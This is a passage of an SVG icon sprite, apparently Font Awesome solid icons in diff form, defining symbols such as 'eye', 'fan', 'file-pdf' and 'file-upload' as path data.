0l-25.373-25.373c-6.249-6.248-6.249-16.378 0-22.627z"></path> + </symbol> + <symbol id="expand-arrows-alt" viewBox="0 0 448 512"> + <path d="M448 344v112a23.94 23.94 0 0 1-24 24H312c-21.39 0-32.09-25.9-17-41l36.2-36.2L224 295.6 116.77 402.9 153 439c15.09 15.1 4.39 41-17 41H24a23.94 23.94 0 0 1-24-24V344c0-21.4 25.89-32.1 41-17l36.19 36.2L184.46 256 77.18 148.7 41 185c-15.1 15.1-41 4.4-41-17V56a23.94 23.94 0 0 1 24-24h112c21.39 0 32.09 25.9 17 41l-36.2 36.2L224 216.4l107.23-107.3L295 73c-15.09-15.1-4.39-41 17-41h112a23.94 23.94 0 0 1 24 24v112c0 21.4-25.89 32.1-41 17l-36.19-36.2L263.54 256l107.28 107.3L407 327.1c15.1-15.2 41-4.5 41 16.9z"></path> + </symbol> + <symbol id="external-link-alt" viewBox="0 0 512 512"> + <path d="M432,320H400a16,16,0,0,0-16,16V448H64V128H208a16,16,0,0,0,16-16V80a16,16,0,0,0-16-16H48A48,48,0,0,0,0,112V464a48,48,0,0,0,48,48H400a48,48,0,0,0,48-48V336A16,16,0,0,0,432,320ZM488,0h-128c-21.37,0-32.05,25.91-17,41l35.73,35.73L135,320.37a24,24,0,0,0,0,34L157.67,377a24,24,0,0,0,34,0L435.28,133.32,471,169c15,15,41,4.5,41-17V24A24,24,0,0,0,488,0Z"></path> + </symbol> + <symbol id="external-link-square-alt" viewBox="0 0 448 512"> + <path d="M448 80v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48zm-88 16H248.029c-21.313 0-32.08 25.861-16.971 40.971l31.984 31.987L67.515 364.485c-4.686 4.686-4.686 12.284 0 16.971l31.029 31.029c4.687 4.686 12.285 4.686 16.971 0l195.526-195.526 31.988 31.991C358.058 263.977 384 253.425 384 231.979V120c0-13.255-10.745-24-24-24z"></path> + </symbol> + <symbol id="eye" viewBox="0 0 576 512"> + <path d="M572.52 241.4C518.29 135.59 410.93 64 288 64S57.68 135.64 3.48 241.41a32.35 32.35 0 0 0 0 29.19C57.71 376.41 165.07 448 288 448s230.32-71.64 284.52-177.41a32.35 32.35 0 0 0 0-29.19zM288 400a144 144 0 1 1 144-144 143.93 143.93 0 0 1-144 144zm0-240a95.31 95.31 0 0 0-25.31 3.79 47.85 47.85 0 0 1-66.9 66.9A95.78 95.78 0 1 0 288 160z"></path> + </symbol> + <symbol id="eye-dropper" viewBox="0 0 512 512"> + <path d="M50.75 333.25c-12 12-18.75 28.28-18.75 45.26V424L0 480l32 32 56-32h45.49c16.97 0 33.25-6.74 45.25-18.74l126.64-126.62-128-128L50.75 333.25zM483.88 28.12c-37.47-37.5-98.28-37.5-135.75 0l-77.09 77.09-13.1-13.1c-9.44-9.44-24.65-9.31-33.94 0l-40.97 40.97c-9.37 9.37-9.37 24.57 0 33.94l161.94 161.94c9.44 9.44 24.65 9.31 33.94 0L419.88 288c9.37-9.37 9.37-24.57 0-33.94l-13.1-13.1 77.09-77.09c37.51-37.48 37.51-98.26.01-135.75z"></path> + </symbol> + <symbol id="eye-slash" viewBox="0 0 640 512"> + <path d="M320 400c-75.85 0-137.25-58.71-142.9-133.11L72.2 185.82c-13.79 17.3-26.48 35.59-36.72 55.59a32.35 32.35 0 0 0 0 29.19C89.71 376.41 197.07 448 320 448c26.91 0 52.87-4 77.89-10.46L346 397.39a144.13 144.13 0 0 1-26 2.61zm313.82 58.1l-110.55-85.44a331.25 331.25 0 0 0 81.25-102.07 32.35 32.35 0 0 0 0-29.19C550.29 135.59 442.93 64 320 64a308.15 308.15 0 0 0-147.32 37.7L45.46 3.37A16 16 0 0 0 23 6.18L3.37 31.45A16 16 0 0 0 6.18 53.9l588.36 454.73a16 16 0 0 0 22.46-2.81l19.64-25.27a16 16 0 0 0-2.82-22.45zm-183.72-142l-39.3-30.38A94.75 94.75 0 0 0 416 256a94.76 94.76 0 0 0-121.31-92.21A47.65 47.65 0 0 1 304 192a46.64 46.64 0 0 1-1.54 10l-73.61-56.89A142.31 142.31 0 0 1 320 112a143.92 143.92 0 0 1 144 144c0 21.63-5.29 41.79-13.9 60.11z"></path> + </symbol> + <symbol id="fan" viewBox="0 0 512 512"> + <path d="M352.57 128c-28.09 0-54.09 4.52-77.06 12.86l12.41-123.11C289 7.31 279.81-1.18 269.33.13 189.63 10.13 128 77.64 128 159.43c0 28.09 4.52 54.09 12.86 77.06L17.75 224.08C7.31 223-1.18 232.19.13 242.67c10 79.7 77.51 141.33 159.3 141.33 28.09 0 54.09-4.52 77.06-12.86l-12.41 123.11c-1.05 10.43 8.11 18.93 18.59 17.62 79.7-10 141.33-77.51 141.33-159.3 0-28.09-4.52-54.09-12.86-77.06l123.11 12.41c10.44 1.05 18.93-8.11 17.62-18.59-10-79.7-77.51-141.33-159.3-141.33zM256 288a32 32 0 1 1 32-32 32 32 0 0 1-32 32z"></path> + </symbol> + <symbol id="fast-backward" viewBox="0 0 512 512"> + <path d="M0 436V76c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v151.9L235.5 71.4C256.1 54.3 288 68.6 288 96v131.9L459.5 71.4C480.1 54.3 512 68.6 512 96v320c0 27.4-31.9 41.7-52.5 24.6L288 285.3V416c0 27.4-31.9 41.7-52.5 24.6L64 285.3V436c0 6.6-5.4 12-12 12H12c-6.6 0-12-5.4-12-12z"></path> + </symbol> + <symbol id="fast-forward" viewBox="0 0 512 512"> + <path d="M512 76v360c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12V284.1L276.5 440.6c-20.6 17.2-52.5 2.8-52.5-24.6V284.1L52.5 440.6C31.9 457.8 0 443.4 0 416V96c0-27.4 31.9-41.7 52.5-24.6L224 226.8V96c0-27.4 31.9-41.7 52.5-24.6L448 226.8V76c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12z"></path> + </symbol> + <symbol id="faucet" viewBox="0 0 512 512"> + <path d="M352,256H313.39c-15.71-13.44-35.46-23.07-57.39-28V180.44l-32-3.38-32,3.38V228c-21.93,5-41.68,14.6-57.39,28H16A16,16,0,0,0,0,272v96a16,16,0,0,0,16,16h92.79C129.38,421.73,173,448,224,448s94.62-26.27,115.21-64H352a32,32,0,0,1,32,32,32,32,0,0,0,32,32h64a32,32,0,0,0,32-32A160,160,0,0,0,352,256ZM81.59,159.91l142.41-15,142.41,15c9.42,1,17.59-6.81,17.59-16.8V112.89c0-10-8.17-17.8-17.59-16.81L256,107.74V80a16,16,0,0,0-16-16H208a16,16,0,0,0-16,16v27.74L81.59,96.08C72.17,95.09,64,102.9,64,112.89v30.22C64,153.1,72.17,160.91,81.59,159.91Z"></path> + </symbol> + <symbol id="fax" viewBox="0 0 512 512"> + <path d="M480 160V77.25a32 32 0 0 0-9.38-22.63L425.37 9.37A32 32 0 0 0 402.75 0H160a32 32 0 0 0-32 32v448a32 32 0 0 0 32 32h320a32 32 0 0 0 32-32V192a32 32 0 0 0-32-32zM288 432a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm0-128a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm128 128a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm0-128a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm0-112H192V64h160v48a16 16 0 0 0 16 16h48zM64 128H32a32 32 0 0 0-32 32v320a32 32 0 0 0 32 32h32a32 32 0 0 0 32-32V160a32 32 0 0 0-32-32z"></path> + </symbol> + <symbol id="feather" viewBox="0 0 512 512"> + <path d="M467.14 44.84c-62.55-62.48-161.67-64.78-252.28 25.73-78.61 78.52-60.98 60.92-85.75 85.66-60.46 60.39-70.39 150.83-63.64 211.17l178.44-178.25c6.26-6.25 16.4-6.25 22.65 0s6.25 16.38 0 22.63L7.04 471.03c-9.38 9.37-9.38 24.57 0 33.94 9.38 9.37 24.6 9.37 33.98 0l66.1-66.03C159.42 454.65 279 457.11 353.95 384h-98.19l147.57-49.14c49.99-49.93 36.38-36.18 46.31-46.86h-97.78l131.54-43.8c45.44-74.46 34.31-148.84-16.26-199.36z"></path> + </symbol> + <symbol id="feather-alt" viewBox="0 0 512 512"> + <path d="M512 0C460.22 3.56 96.44 38.2 71.01 287.61c-3.09 26.66-4.84 53.44-5.99 80.24l178.87-178.69c6.25-6.25 16.4-6.25 22.65 0s6.25 16.38 0 22.63L7.04 471.03c-9.38 9.37-9.38 24.57 0 33.94 9.38 9.37 24.59 9.37 33.98 0l57.13-57.07c42.09-.14 84.15-2.53 125.96-7.36 53.48-5.44 97.02-26.47 132.58-56.54H255.74l146.79-48.88c11.25-14.89 21.37-30.71 30.45-47.12h-81.14l106.54-53.21C500.29 132.86 510.19 26.26 512 0z"></path> + </symbol> + <symbol id="female" viewBox="0 0 256 512"> + <path d="M128 0c35.346 0 64 28.654 64 64s-28.654 64-64 64c-35.346 0-64-28.654-64-64S92.654 0 128 0m119.283 354.179l-48-192A24 24 0 0 0 176 144h-11.36c-22.711 10.443-49.59 10.894-73.28 0H80a24 24 0 0 0-23.283 18.179l-48 192C4.935 369.305 16.383 384 32 384h56v104c0 13.255 10.745 24 24 24h32c13.255 0 24-10.745 24-24V384h56c15.591 0 27.071-14.671 23.283-29.821z"></path> + </symbol> + <symbol id="fighter-jet" viewBox="0 0 640 512"> + <path d="M544 224l-128-16-48-16h-24L227.158 44h39.509C278.333 44 288 41.375 288 38s-9.667-6-21.333-6H152v12h16v164h-48l-66.667-80H18.667L8 138.667V208h8v16h48v2.666l-64 8v42.667l64 8V288H16v16H8v69.333L18.667 384h34.667L120 304h48v164h-16v12h114.667c11.667 0 21.333-2.625 21.333-6s-9.667-6-21.333-6h-39.509L344 320h24l48-16 128-16c96-21.333 96-26.583 96-32 0-5.417 0-10.667-96-32z"></path> + </symbol> + <symbol id="file" viewBox="0 0 384 512"> + <path d="M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm160-14.1v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z"></path> + </symbol> + <symbol id="file-alt" viewBox="0 0 384 512"> + <path d="M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm64 236c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-8c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12v8zm0-64c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-8c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12v8zm0-72v8c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-8c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12zm96-114.1v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z"></path> + </symbol> + <symbol id="file-archive" viewBox="0 0 384 512"> + <path d="M377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zM128.4 336c-17.9 0-32.4 12.1-32.4 27 0 15 14.6 27 32.5 27s32.4-12.1 32.4-27-14.6-27-32.5-27zM224 136V0h-63.6v32h-32V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM95.9 32h32v32h-32zm32.3 384c-33.2 0-58-30.4-51.4-62.9L96.4 256v-32h32v-32h-32v-32h32v-32h-32V96h32V64h32v32h-32v32h32v32h-32v32h32v32h-32v32h22.1c5.7 0 10.7 4.1 11.8 9.7l17.3 87.7c6.4 32.4-18.4 62.6-51.4 62.6z"></path> + </symbol> + <symbol id="file-audio" viewBox="0 0 384 512"> + <path d="M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm-64 268c0 10.7-12.9 16-20.5 8.5L104 376H76c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h28l35.5-36.5c7.6-7.6 20.5-2.2 20.5 8.5v136zm33.2-47.6c9.1-9.3 9.1-24.1 0-33.4-22.1-22.8 12.2-56.2 34.4-33.5 27.2 27.9 27.2 72.4 0 100.4-21.8 22.3-56.9-10.4-34.4-33.5zm86-117.1c54.4 55.9 54.4 144.8 0 200.8-21.8 22.4-57-10.3-34.4-33.5 36.2-37.2 36.3-96.5 0-133.8-22.1-22.8 12.3-56.3 34.4-33.5zM384 121.9v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z"></path> + </symbol> + <symbol id="file-code" viewBox="0 0 384 512"> + <path d="M384 121.941V128H256V0h6.059c6.365 0 12.47 2.529 16.971 7.029l97.941 97.941A24.005 24.005 0 0 1 384 121.941zM248 160c-13.2 0-24-10.8-24-24V0H24C10.745 0 0 10.745 0 24v464c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V160H248zM123.206 400.505a5.4 5.4 0 0 1-7.633.246l-64.866-60.812a5.4 5.4 0 0 1 0-7.879l64.866-60.812a5.4 5.4 0 0 1 7.633.246l19.579 20.885a5.4 5.4 0 0 1-.372 7.747L101.65 336l40.763 35.874a5.4 5.4 0 0 1 .372 7.747l-19.579 20.884zm51.295 50.479l-27.453-7.97a5.402 5.402 0 0 1-3.681-6.692l61.44-211.626a5.402 5.402 0 0 1 6.692-3.681l27.452 7.97a5.4 5.4 0 0 1 3.68 6.692l-61.44 211.626a5.397 5.397 0 0 1-6.69 3.681zm160.792-111.045l-64.866 60.812a5.4 5.4 0 0 1-7.633-.246l-19.58-20.885a5.4 5.4 0 0 1 .372-7.747L284.35 336l-40.763-35.874a5.4 5.4 0 0 1-.372-7.747l19.58-20.885a5.4 5.4 0 0 1 7.633-.246l64.866 60.812a5.4 5.4 0 0 1-.001 7.879z"></path> + </symbol> + <symbol id="file-contract" viewBox="0 0 384 512"> + <path d="M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM64 72c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8V72zm0 64c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zm192.81 248H304c8.84 0 16 7.16 16 16s-7.16 16-16 16h-47.19c-16.45 0-31.27-9.14-38.64-23.86-2.95-5.92-8.09-6.52-10.17-6.52s-7.22.59-10.02 6.19l-7.67 15.34a15.986 15.986 0 0 1-14.31 8.84c-.38 0-.75-.02-1.14-.05-6.45-.45-12-4.75-14.03-10.89L144 354.59l-10.61 31.88c-5.89 17.66-22.38 29.53-41 29.53H80c-8.84 0-16-7.16-16-16s7.16-16 16-16h12.39c4.83 0 9.11-3.08 10.64-7.66l18.19-54.64c3.3-9.81 12.44-16.41 22.78-16.41s19.48 6.59 22.77 16.41l13.88 41.64c19.77-16.19 54.05-9.7 66 14.16 2.02 4.06 5.96 6.5 10.16 6.5zM377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z"></path> + </symbol> + <symbol id="file-csv" viewBox="0 0 384 512"> + <path d="M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm-96 144c0 4.42-3.58 8-8 8h-8c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h8c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-8c-26.51 0-48-21.49-48-48v-32c0-26.51 21.49-48 48-48h8c4.42 0 8 3.58 8 8v16zm44.27 104H160c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h12.27c5.95 0 10.41-3.5 10.41-6.62 0-1.3-.75-2.66-2.12-3.84l-21.89-18.77c-8.47-7.22-13.33-17.48-13.33-28.14 0-21.3 19.02-38.62 42.41-38.62H200c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-12.27c-5.95 0-10.41 3.5-10.41 6.62 0 1.3.75 2.66 2.12 3.84l21.89 18.77c8.47 7.22 13.33 17.48 13.33 28.14.01 21.29-19 38.62-42.39 38.62zM256 264v20.8c0 20.27 5.7 40.17 16 56.88 10.3-16.7 16-36.61 16-56.88V264c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v20.8c0 35.48-12.88 68.89-36.28 94.09-3.02 3.25-7.27 5.11-11.72 5.11s-8.7-1.86-11.72-5.11c-23.4-25.2-36.28-58.61-36.28-94.09V264c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8zm121-159L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z"></path> + </symbol> + <symbol id="file-download" viewBox="0 0 384 512"> + <path d="M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm76.45 211.36l-96.42 95.7c-6.65 6.61-17.39 6.61-24.04 0l-96.42-95.7C73.42 337.29 80.54 320 94.82 320H160v-80c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v80h65.18c14.28 0 21.4 17.29 11.27 27.36zM377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z"></path> + </symbol> + <symbol id="file-excel" viewBox="0 0 384 512"> + <path d="M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm60.1 106.5L224 336l60.1 93.5c5.1 8-.6 18.5-10.1 18.5h-34.9c-4.4 0-8.5-2.4-10.6-6.3C208.9 405.5 192 373 192 373c-6.4 14.8-10 20-36.6 68.8-2.1 3.9-6.1 6.3-10.5 6.3H110c-9.5 0-15.2-10.5-10.1-18.5l60.3-93.5-60.3-93.5c-5.2-8 .6-18.5 10.1-18.5h34.8c4.4 0 8.5 2.4 10.6 6.3 26.1 48.8 20 33.6 36.6 68.5 0 0 6.1-11.7 36.6-68.5 2.1-3.9 6.2-6.3 10.6-6.3H274c9.5-.1 15.2 10.4 10.1 18.4zM384 121.9v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z"></path> + </symbol> + <symbol id="file-export" viewBox="0 0 576 512"> + <path d="M384 121.9c0-6.3-2.5-12.4-7-16.9L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128zM571 308l-95.7-96.4c-10.1-10.1-27.4-3-27.4 11.3V288h-64v64h64v65.2c0 14.3 17.3 21.4 27.4 11.3L571 332c6.6-6.6 6.6-17.4 0-24zm-379 28v-32c0-8.8 7.2-16 16-16h176V160H248c-13.2 0-24-10.8-24-24V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V352H208c-8.8 0-16-7.2-16-16z"></path> + </symbol> + <symbol id="file-image" viewBox="0 0 384 512"> + <path d="M384 121.941V128H256V0h6.059a24 24 0 0 1 16.97 7.029l97.941 97.941a24.002 24.002 0 0 1 7.03 16.971zM248 160c-13.2 0-24-10.8-24-24V0H24C10.745 0 0 10.745 0 24v464c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V160H248zm-135.455 16c26.51 0 48 21.49 48 48s-21.49 48-48 48-48-21.49-48-48 21.491-48 48-48zm208 240h-256l.485-48.485L104.545 328c4.686-4.686 11.799-4.201 16.485.485L160.545 368 264.06 264.485c4.686-4.686 12.284-4.686 16.971 0L320.545 304v112z"></path> + </symbol> + <symbol id="file-import" viewBox="0 0 512 512"> + <path d="M16 288c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h112v-64zm489-183L407.1 7c-4.5-4.5-10.6-7-17-7H384v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H152c-13.3 0-24 10.7-24 24v264h128v-65.2c0-14.3 17.3-21.4 27.4-11.3L379 308c6.6 6.7 6.6 17.4 0 24l-95.7 96.4c-10.1 10.1-27.4 3-27.4-11.3V352H128v136c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H376c-13.2 0-24-10.8-24-24z"></path> + </symbol> + <symbol id="file-invoice" viewBox="0 0 384 512"> + <path d="M288 256H96v64h192v-64zm89-151L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM64 72c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8V72zm0 64c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zm256 304c0 4.42-3.58 8-8 8h-80c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16zm0-200v96c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-96c0-8.84 7.16-16 16-16h224c8.84 0 16 7.16 16 16z"></path> + </symbol> + <symbol id="file-invoice-dollar" viewBox="0 0 384 512"> + <path d="M377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM64 72c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8V72zm0 80v-16c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8zm144 263.88V440c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-24.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V232c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v24.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.05 44.44-42.67 45.07z"></path> + </symbol> + <symbol id="file-medical" viewBox="0 0 384 512"> + <path d="M377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm64 160v48c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8z"></path> + </symbol> + <symbol id="file-medical-alt" viewBox="0 0 448 512"> + <path d="M288 136V0H88C74.7 0 64 10.7 64 24v232H8c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h140.9c3 0 5.8 1.7 7.2 4.4l19.9 39.8 56.8-113.7c2.9-5.9 11.4-5.9 14.3 0l34.7 69.5H352c8.8 0 16 7.2 16 16s-7.2 16-16 16h-89.9L240 275.8l-56.8 113.7c-2.9 5.9-11.4 5.9-14.3 0L134.1 320H64v168c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H312c-13.2 0-24-10.8-24-24zm153-31L343.1 7c-4.5-4.5-10.6-7-17-7H320v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z"></path> + </symbol> + <symbol id="file-pdf" viewBox="0 0 384 512"> + <path d="M181.9 256.1c-5-16-4.9-46.9-2-46.9 8.4 0 7.6 36.9 2 46.9zm-1.7 47.2c-7.7 20.2-17.3 43.3-28.4 62.7 18.3-7 39-17.2 62.9-21.9-12.7-9.6-24.9-23.4-34.5-40.8zM86.1 428.1c0 .8 13.2-5.4 34.9-40.2-6.7 6.3-29.1 24.5-34.9 40.2zM248 160h136v328c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24V24C0 10.7 10.7 0 24 0h200v136c0 13.2 10.8 24 24 24zm-8 171.8c-20-12.2-33.3-29-42.7-53.8 4.5-18.5 11.6-46.6 6.2-64.2-4.7-29.4-42.4-26.5-47.8-6.8-5 18.3-.4 44.1 8.1 77-11.6 27.6-28.7 64.6-40.8 85.8-.1 0-.1.1-.2.1-27.1 13.9-73.6 44.5-54.5 68 5.6 6.9 16 10 21.5 10 17.9 0 35.7-18 61.1-61.8 25.8-8.5 54.1-19.1 79-23.2 21.7 11.8 47.1 19.5 64 19.5 29.2 0 31.2-32 19.7-43.4-13.9-13.6-54.3-9.7-73.6-7.2zM377 105L279 7c-4.5-4.5-10.6-7-17-7h-6v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-74.1 255.3c4.1-2.7-2.5-11.9-42.8-9 37.1 15.8 42.8 9 42.8 9z"></path> + </symbol> + <symbol id="file-powerpoint" viewBox="0 0 384 512"> + <path d="M193.7 271.2c8.8 0 15.5 2.7 20.3 8.1 9.6 10.9 9.8 32.7-.2 44.1-4.9 5.6-11.9 8.5-21.1 8.5h-26.9v-60.7h27.9zM377 105L279 7c-4.5-4.5-10.6-7-17-7h-6v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm53 165.2c0 90.3-88.8 77.6-111.1 77.6V436c0 6.6-5.4 12-12 12h-30.8c-6.6 0-12-5.4-12-12V236.2c0-6.6 5.4-12 12-12h81c44.5 0 72.9 32.8 72.9 77z"></path> + </symbol> + <symbol id="file-prescription" viewBox="0 0 384 512"> + <path d="M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm68.53 179.48l11.31 11.31c6.25 6.25 6.25 16.38 0 22.63l-29.9 29.9L304 409.38c6.25 6.25 6.25 16.38 0 22.63l-11.31 11.31c-6.25 6.25-16.38 6.25-22.63 0L240 413.25l-30.06 30.06c-6.25 6.25-16.38 6.25-22.63 0L176 432c-6.25-6.25-6.25-16.38 0-22.63l30.06-30.06L146.74 320H128v48c0 8.84-7.16 16-16 16H96c-8.84 0-16-7.16-16-16V208c0-8.84 7.16-16 16-16h80c35.35 0 64 28.65 64 64 0 24.22-13.62 45.05-33.46 55.92L240 345.38l29.9-29.9c6.25-6.25 16.38-6.25 22.63 0zM176 272h-48v-32h48c8.82 0 16 7.18 16 16s-7.18 16-16 16zm208-150.1v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z"></path> + </symbol> + <symbol id="file-signature" viewBox="0 0 576 512"> + <path d="M218.17 424.14c-2.95-5.92-8.09-6.52-10.17-6.52s-7.22.59-10.02 6.19l-7.67 15.34c-6.37 12.78-25.03 11.37-29.48-2.09L144 386.59l-10.61 31.88c-5.89 17.66-22.38 29.53-41 29.53H80c-8.84 0-16-7.16-16-16s7.16-16 16-16h12.39c4.83 0 9.11-3.08 10.64-7.66l18.19-54.64c3.3-9.81 12.44-16.41 22.78-16.41s19.48 6.59 22.77 16.41l13.88 41.64c19.75-16.19 54.06-9.7 66 14.16 1.89 3.78 5.49 5.95 9.36 6.26v-82.12l128-127.09V160H248c-13.2 0-24-10.8-24-24V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24v-40l-128-.11c-16.12-.31-30.58-9.28-37.83-23.75zM384 121.9c0-6.3-2.5-12.4-7-16.9L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1zm-96 225.06V416h68.99l161.68-162.78-67.88-67.88L288 346.96zm280.54-179.63l-31.87-31.87c-9.94-9.94-26.07-9.94-36.01 0l-27.25 27.25 67.88 67.88 27.25-27.25c9.95-9.94 9.95-26.07 0-36.01z"></path> + </symbol> + <symbol id="file-upload" viewBox="0 0 384 512"> + <path d="M224 